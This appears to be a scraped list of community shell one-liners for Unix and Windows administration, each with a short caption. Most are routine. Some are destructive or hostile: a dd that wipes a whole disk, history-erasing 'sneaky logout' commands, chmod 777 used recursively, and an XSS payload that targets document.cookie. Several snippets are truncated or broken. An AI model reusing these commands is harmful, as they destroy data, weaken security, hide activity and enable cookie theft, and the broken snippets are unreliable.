 mount -o auto -t ntfs /dev/hda1 /windows

* Unmount locked filesystems.

 umount -l /media/foo

* Extract .daa files with PowerISO

 ./poweriso extract $USER/file.daa / -od $USER/file_extracted

* Takes a multi line df or bdf and turns it into just one line

 bdf | awk '(NF<5){f=$1; next} (NF>5){f=$1} {print f, $2, $3, $NF}'

* Launch an Explorer window with a file selected

 explorer /select,[file]

* Broadcast message to all logged in terminal users.

 cat welcome | wall

* To retrieve a normal prompt

 PS1='$PWD$ '

* kill all processes of a program

 kill -9 $(pidof *program*)

* Open the Windows Explorer from the current directory

 explorer /e,.

* Save the network interface info into a text file, so that you can

 netsh interface ip dump > current-interfaces.txt

* how to like to know if a host is ON

 for ip in $(seq 1 25); do ping -c 1 192.168.0.$ip>/dev/null; [ $? -eq 0 ] && echo "192.168.0.$ip UP" || : ; done

* edit files in current and subdir, remove all lines that containing

 grep -r "sampleString" . |uniq | cut -d: -f1 | xargs sed -i "/sampleString/d"

* get line#1000 from text.

 head -1000 < lines.txt | tail -1

* watch filesizes (c.f. logfiles, file downloading, etc.)

 while [ 1 ]; do date; ls -l /path/to/dir; sleep 1; done

* Fast searh Ubntu software repo

 alias acs='apt-cache search'

* color grep with specification of colors with GREP_COLOR env

 setenv GREP_COLOR '1;37;41'

* reset the bizzarre gone junk terminal to normal

 echo "Xc" | tr "Xo" "\033\017

* example usage of sar

 sar -g 5 5

* umount all nfs mounts on machine

 mount | grep : | tr -s ' ' -d 3 | xargs umount -v

* Display a list of upgradeable packages (apt)

 apt-show-versions -u

* GUID generator

 guid(){ lynx -nonumbers -dump http://www.famkruithof.net/uuid/uuidgen | grep "\w\{8\}-" | tr -d ' '; }

* search for the content in a directory

 find . -exec grep "test" '{}' /dev/null \; -print

* Get the size of every directories and files in a path recursively

 for i in $(ls /the/path); do du -hs /the/path/$i; done

* shows the space of a folder in bytes ever two seconds.

 watch "df | grep /this/folder/"

* Ring the system bell after finishing a long script/compile

 myLongScript && echo -e '\a' || (echo -e '\a'; sleep 1; echo -e '\a')

* Print only the even lines of a file

 awk '{if (NR % 2 == 0) print $0}' file.txt

* kill all processes with name or argument

 pkill -f foo

* find and kill a pid for APP

 ps -ef | grep APP | awk '/grep/!{print$2}' | xargs -i kill {}

* Search for a running process through grep

 ps -e | grep SearchStringHere

* Print a row of 50 hyphens

 ALT-50 -

* generate random password

 openssl rand -base64 1000 | tr "[:upper:]" "[:lower:]" | tr -cd "[:alnum:]" | tr -d "lo" | cut -c 1-8 | pbcopy

* oneliner to open several times same application

 for ((i=0;i<5;i++)) ; do xpenguins & done

* Set Permission to user and group

 chown -R webuser:webgroup /var/www/vhosts/domain.com/httpdocs

* Get your public ip

 wget -qO - http://cfaj.freeshell.org/ipaddr.cgi

* Show the meta information on a package (dependency , statuts ..)

 aptitude show packages_name

* Return IP Address

 awk '/inet end/ {print $3}' <(ifconfig eth0)

* Show local IP

 ifconfig eth0 | grep "inet:" | cut -d ":" -f2 | cut -d " " -f1

* Fill up disk space (for testing)

 dd if=/dev/zero of=/fs/to/fill/dummy00 bs=8192 count=$(df --block-size=8192 / | awk 'NR!=1 {print $4-100}')

* List files that DO NOT match a pattern

 ls *[^p][^a][^t]* ; # or shopt -s extglob; ls !(*pattern*)

* List all symbolic links in current directory

 ls -l `ls -l |awk '/^l/ {print $8}'`

* Random password generating function

 mkpasswd() { head -c $(($1)) /dev/urandom | uuencode - | sed -n 's/.//;2s/\(.\{'$1'\}\).*/\1/p' ;}

* Compress and Backup a disk image

 dd if=/dev/<device location> | gzip -c /<path to backup location>/<disk image name>.img.gz

* bash / vim workflow

 vim -

* Delete everything on hda

 dd if=/dev/zero of=/dev/hda bs=16M

* Remove lines that contain a specific pattern($1) from file($2).

 function rmatch { echo "$(grep -v "$1" "$2")">"$2";}

* Get your external IP address

 wget -q -O - checkip.dyndns.org|sed -e 's/.*Current IP Address: //' -e 's/<.*$//'

* Get your external IP address

 curl whatismyip.org

* Get your external IP address

 echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" | nc whatismyip.com 80 | tail -n1

* Clear your history saved into .bash_history file!

 echo "" > .bash_history

* remove the last of all html files in a directory

 a=($(ls *html)) && a=${a[$(expr ${#a[@]} - 1)]} && rm $a

* Checking DNS zone on Name servers directly

 host <domain> <nameserver name>

* convert .rpm to .deb using alien

 sudo alien --to-deb Your_PackAge.rpm

* Create Bootable USB from ISO file

 xcopy D:\*.* /s/e/f E:\

* floating point operations in shell scripts

 echo $((3.0/5.0))

* Ultimate current directory usage command

 O=$IFS;IFS=$'\n'; D=$(for f in *;do [[ -d $f ]] && du -sh "$f";done |

* Ultimate current directory usage command

 ls -shF --color

* Seach google from the command line in Unofficial google shell

 http://goosh.org

* This command will tell the last login and reboot related

 last

* How to run a specific command in remote server by ssh

 ssh user@remotehost [anycommand](i.e uptime,w)

* securely locate file and dir

 slocate filename/dirname

* get debian version number

 lsb_release -a

* System load information alongside process information in a similar

 atop

* detect the Super I/O chip on your computer, tell you at which

 superiotool

* get basic information out of your computer

 lspci

* Output all Files in Directory w/ Details to Filelist

 ls -laR > /path/to/filelist

* Testing php configuration

 echo "<?php phpinfo(); ?>" >> /srv/www/htdocs/test.php

* Install NMAP 5.0 ,Short and sweet command to do it

 sudo wget -c "http://nmap.org/dist/nmap-5.00.tar.bz2" && bzip2 -cd nmap-5.00.tar.bz2 | tar xvf - && cd nmap-5.00 && ./configure && make && sudo make install

* Pick a random line from a file

 shuf file.txt | head -n 1

* Pick a random line from a file

 head -$(($RANDOM % $(wc -l < file.txt) +1 )) file.txt | tail -1

* Read just the IP address of a device

 ip addr|grep "inet "

* create tar.gz archive

 tar -pczf archive_name.tar.gz /path/to/dir/or/file

* let w3m usecookie

 alias w3m='w3m -cookie'

* Move files around local filesystem with tar without wasting space

 tar -C <source_dir> -cf . | tar -C <dest_dir> -xf -

* Outputs size of /example/folder in human readable format.

 du -hs /example/folder/

* Remove all files previously extracted from a tar(.gz) file.

 for i in $(tar -tf <file.tar.gz>); do rm $i; done;

* Quickly assess quality of project by greping the SVN commit logs

 svn log | grep "bodge\|fudge\|hack\|dirty"

* Search and replace in multiple files and save them with the same

 for files in $(ls -A directory_name); do sed 's/search/replaced/g' $files > $files.new && mv $files.new $files; done;

* remove unneeded configuration files in debian

 dpkg-query -l| grep -v "ii " | grep "rc " | awk '{print $2" "}' | tr -d "\n" | xargs aptitude purge -y

* Remove packages by pattern on debian and based systems

 sudo apt-get remove --purge `dpkg -l | awk '{print $2}' | grep gnome` && apt-get autoremove

* Check cobbler environment

 cobbler check

* How many Non-free software is on your machine ?

 vrms

* Randomize the order of lines in a text file.

 awk 'BEGIN {srand()} {print int(rand()*1000000) "\t" $0}' FILE | sort -n | cut -f 2-

* Find 'foo' in located files

 locate searchstring | xargs grep foo

* Join lines

 echo -e "aa\nbb\ncc\ndd\n123" | sed -e :a -e "/$/N; s/\n/;/; ta"

* remove exact phrase from multiple files

 grep -r "mystring" . |uniq | cut -d: -f1 | xargs sed -i "s/mystring//"

* Quickly backup your current directory

 alias backup_dir='mkdir -p .backup && cp * .backup'

* Print out "string" between "match1" and "match2"

 echo "string" | sed -e 's/.*match1//' -e 's/match2.*$//'

* Look for a string in one of your codes, excluding the files with

 find . -type f -exec grep StringToFind \{\} --with-filename \;|sed -e '/svn/d'|sed -e '/~/d'

* Copy files over network using compression

 on the listening side: sudo nc -lp 2022 | sudo tar -xvf - and on the sending side: tar -cvzf - ./*| nc -w 3 name_of_listening_host 2022

* bind a web server in $PWD

 python -c "import SimpleHTTPServer;SimpleHTTPServer.test()"

* recursively delete .svn folders from a directory

 rm -rf `find . -type d -name .svn`

* Binary editor

 bvi [binary-file]

* find a class or file within a number of jar files

 for i in `find . | grep jar$`; do echo $i; jar tvf $i | grep 'search-string'; done;

* Recursive file content search

 find . -name *.php | xargs grep -i -n 'TERM'

* extract a certain number of lines from a file and dump them to

 grep '' -m X file1 > file2

* Read a gzipped text file directly with less.

 less textfile.gz

* Removes Apple "garbage"

 find . -name *DS_Store -exec echo rm {} \;

* rcs - local backup of any text configuration file before

 ci -l /etc/rc.conf

* Generate MD5 hash for a string

 echo -n "string" | md5sum -

* Listen to the OS X system's voices

 for person in Alex Bruce Fred Kathy Vicki Victoria ; do say -v $person "Hello, my name is $person"; sleep 1; done

* Move a file up a directory.

 mv file_name.extension ..

* Basic Local Port Scan

 [command too long]

* Read Nth column (e.g. 2nd column) of a row of data in a file that

 grep 'HOME.*' data.txt | awk '{print $2}' | awk '{FS="/"}{print $NF}' OR USE ALTERNATE WAY awk '/HOME/ {print $2}' data.txt | awk -F'/' '{print $NF}'

* Get top 10 largest directories under cwd

 du | sort -n | tail -11 | head

* Download a complete podcast

 wget -c -v -S -T 100 --tries=0 `curl -s http://ms1.espectador.com/ podcast/espectador/la_venganza_sera_terrible.xml | grep -v xml | grep link | sed 's/]*>//g'`

* Edit a file using vi or vim in read-only mode

 vi -R filename

* Creates a minimalist xorg.conf

 dpkg-reconfigure -phigh xserver-xorg

* Delete tens of thousans of files at one go

 rm -rf `ls | head -5000`

* stores the number of lines of "file" in a variable to use in a

 count=`wc -l file | cut -d ' ' -f1`

* Run the previous command with sudo

 sudo !!

* uppercase

 tr [a-z] [A-Z]

* sets volume via command line

 amixer -c 0 set PCM 2dB+

* ctrl -k and ctrl -y for cut and paste

 ctrl k , ctrl y

* xxcopy everything from one Windows box to another

 xxcopy x:\folder1 y:\folder2 /s /h /tca /tcc /tcw /yy

* Quick scrape of recent mobile home dir file sync for Mac Admins -

 tail -n 20 ~/Library/Logs/FileSyncAgent.log

* Generate load on your CPU

 while true; do /bin/true; done

* LSD: List directory files in current directory

 ls -l !* | /usr/bin/grep '^d'

* rm all files you grep

 find . | grep deleteme | while read line; do rm $line; done

* prints long line

 sed -n '/^.\{10\}/p'

* View your machine firewall settings

 iptables -L -n -v

* Directly change directory without having to specify drive letter

 cd /d d:\Windows

* backup the old files

 tar -zcps <dir> -X <(find <dir> -type f -mtime -<days>) |ssh user@backuphost tar -xzpsC /data/bkup

* Run ADSL connection

 pon dsl-provider

* Stage added, updated, and DELETED files for commit

 git add -u

* Display directory hierarchy listing as a tree

 ls -R | grep : | sed -e '\''s/:$//'\'' -e '\''s/[^-][^\/]*\//--/g'\'' -e '\''s/^/ /'\'' -e '\''s/-/|/'\''

* set fan speed (ATI cards)

 aticonfig --pplib-cmd "set fanspeed 0 <number>"

* Find files containing "text"

 grep -lir "text to find" *

* Execute AccuRev pop command to retrieve missing files from a

 accurev stat -M -fl | awk '{print "\"" $0 "\""}' | xargs accurev pop

* Place a filename at the beginning of the line to make it easier

 Place a filename at the beginning of the line to make it easier to edit the search at the end of the command.

* UNIX one-liner to kill a hanging Firefox process

 kill -HUP ` ps -aef | grep -i firefox | sort -k 2 -r | sed 1d | awk ' { print $2 } ' `

* Backup the first 1MB of your volume

 dd if=/dev/sdX of=/root/sdX.bin bs=1M count=1

* Recursive chmod all files and directories within the current

 chmod -R 777 *

* List the size (in human readable form) of all sub folders from the

 ls | xargs du -sh

* copying files using sed to rename based on regular expression

 ls "*.mp3" | awk '{print("cp "$1" /folder/"$1)}' | sed -e 's/foo/bar/' | /bin/bash

* Get the 10 biggest files/folders for the current direcotry

 ls -1rSA | tail

* Add a directory with a name to /etc/passwd to get quick access

 function qcd { useradd -No -s /bin/false -u 999 -g 999 -lf -1 -d $1 $2 ; }

* Monitor Applications application that are connected/new

 while true; do netstat -p |grep "tcp"|grep --color=always "/[a-z]*";sleep 1;done

* Duplicate a directory tree using tar and pipes

 (cd /source/dir ; tar cvf - .)|(cd /dest/dir ; tar xvpf -)

* unzip all .zip files in /example/directory

 cd /example/directory && unzip \*.zip

* Search through files, ignoring .svn (less accurate/slower but

 find . ! -path \*.svn\*

* Quick findstring recursively in dirs (Alias from long find with

 alias findstring="find . -type f -print | xargs grep $1"

* Kill a daemon by name, not by PID

 kill_daemon() { echo "Daemon?"; read dm; kill -15 $(netstat -atulpe | grep $dm | cut -d '/' -f1 | awk '{print $9}') }; alias kd='kill_daemon

* Delete all files more t han 7 days old

 rm -rf `find -maxdepth 1 -mindepth 1 -mtime +7`

* Skipping tests in Maven

 mvn -Dmaven.test.skip=true install

* Creating a Maven project

 mvn archetype:create -DgroupId=my.work -DartifactId=MyProject

* Rename files that have number, space and hyphen

 for f in * ; do mv -- "$f" "${f/[0-9][0-9] \- /}" ; done

* zip all files in a directory, one file per zip

 for i in $( find . ); do echo zipping file: $i zip $i.zip $i done

* Chmod directories to add executable & read permission to the group

 sudo chmod -R g=u-w,g+X *

* Print the ten largest files

 ls -Sl * | head

* [re]verify a disc with very friendly output

 dd if=/dev/cdrom | pv -s 700m | md5sum | tee test.md5

* Traceroute w/TCP to get through firewalls.

 tcptraceroute www.google.com

* List only hidden files

 ls -ad .*

* List all executable files in the current directory

 ls -F | grep '\''\*'\'' | sed '\''s/\*$//'\

* Copy directories and files just like

 xcopy /e/h/y /z/i /k /f src dest

* get size of dir or file

 du -h

* View new log messages in real time

 tail -f /var/log/messages

* test connection if ICMP is disabled

 telnet <ip> <port>

* Always run apt-get as root

 alias apt-get='sudo apt-get'

* Open a list of files in VIM using separate terminal windows

 find . -name "*.java" -exec gnome-terminal \-x vim {} \;

* find all processes named hunger and force kill, minus the grep

 ps -auwx|egrep hunger|grep -v grep| awk '{print "kill -9",$1}' > ~/fu.bar

* Search gzipped files

 zcat /usr/share/man/man1/grep.1.gz | grep "color"

* Recursive chmod all files and directories within the current

 find . -print -exec chmod 777 {} \;

* Recursive chmod all files and directories within the current

 find | xargs chmod 777

* Check reverse DNS

 nslookup {ip}

* List the size (in human readable form) of all sub folders from

 find . -maxdepth 1 -type d -not -name . -exec du -sh {} +

* SELinux Status

 getenforce

* Sneaky logout

 rm ~/.bash_history; ln -s /dev/null ~/.bash_history

* get kernel version

 uname -a

* "Reset" directories permissions

 find . -type d -exec chmod 0755 {} \;

* Wordpress - download latest, extract, and rename config file.

 alias wordpress='mkdir wordpress && cd wordpress && wget http://wordpress.org/latest.tar.gz && tar -xvzf latest.tar.gz && mv wordpress/* . && rm -rf latest.tar.gz wordpress && cp wp-config-sample.php wp-config.php'

* "Reset" file permissions

 find . -type f -exec chmod 0644 {} \;

* Equivalent of alias in cmd.exe: doskey (macros)

 doskey l=dir /OD $*

* Altera texto dentro dos arquivos retornados pelo comando 'find'

 find ./wp-content/themes/rotce2009/ -name '*.php' -type f | xargs sed -i 's/<? /<?php /g'

* Telnet to Free Internet Chess Server

 telnet fics.freechess.org 5000

* List files contained within a zip archive

 unzip -l <filename>

* List all file and directory on user's home with details

 ls /home/user | xargs ls -lhR | less

* Make an iso file out of your entire hard drive

 cat /dev/hda > ~/hda.iso

* Monitor a file's size

 watch -n60 du /var/log/messages

* FAST and NICE Search and Replace for Strings in Files

 nice -n19 sh -c 'S=askapache && R=htaccess; find . -type f|xargs -P5 -iFF grep -l -m1 "$S" FF|xargs -P5 -iFF sed -i -e s%${S}%${R}% FF'

* Find the process you are looking for minus the grepped one

 pgrep command_name

* Stripping ^M at end of each line for files

 dos2unix <filenames>

* IFS - use entire lines in your for cycles

 export IFS=$(echo -e "\n")

* Attempt an XSS exploit on commandlinefu.com

 perl -pi -e 's/<a href="#" onmouseover="console.log('xss! '+document.cookie)" style="position:absolute;height:0;width:0;background:transparent;font-w eight:normal;">xss</a>/<\/a>/g'

* exit if another instance is running

 pidof -x -o $$ ${0##*/} && exit

* dstat - a mix of vmstat, iostat, netstat, ps, sar...

 dstat -ta

* launch a virtualbox virtual machine

 VBoxManage startvm "name"

* Create a large test file (taking no space).

 dd bs=1 seek=2TB if=/dev/null of=ext3.test

* Determine what an process is actually doing what

 sudo strace -pXXXX -e trace=file

* Adding formatting to an xml document for easier reading

 xmllint --format <filename> > <output file>

* Adding formatting to an xml document for easier reading

 xmllint --format <filename> > <output file>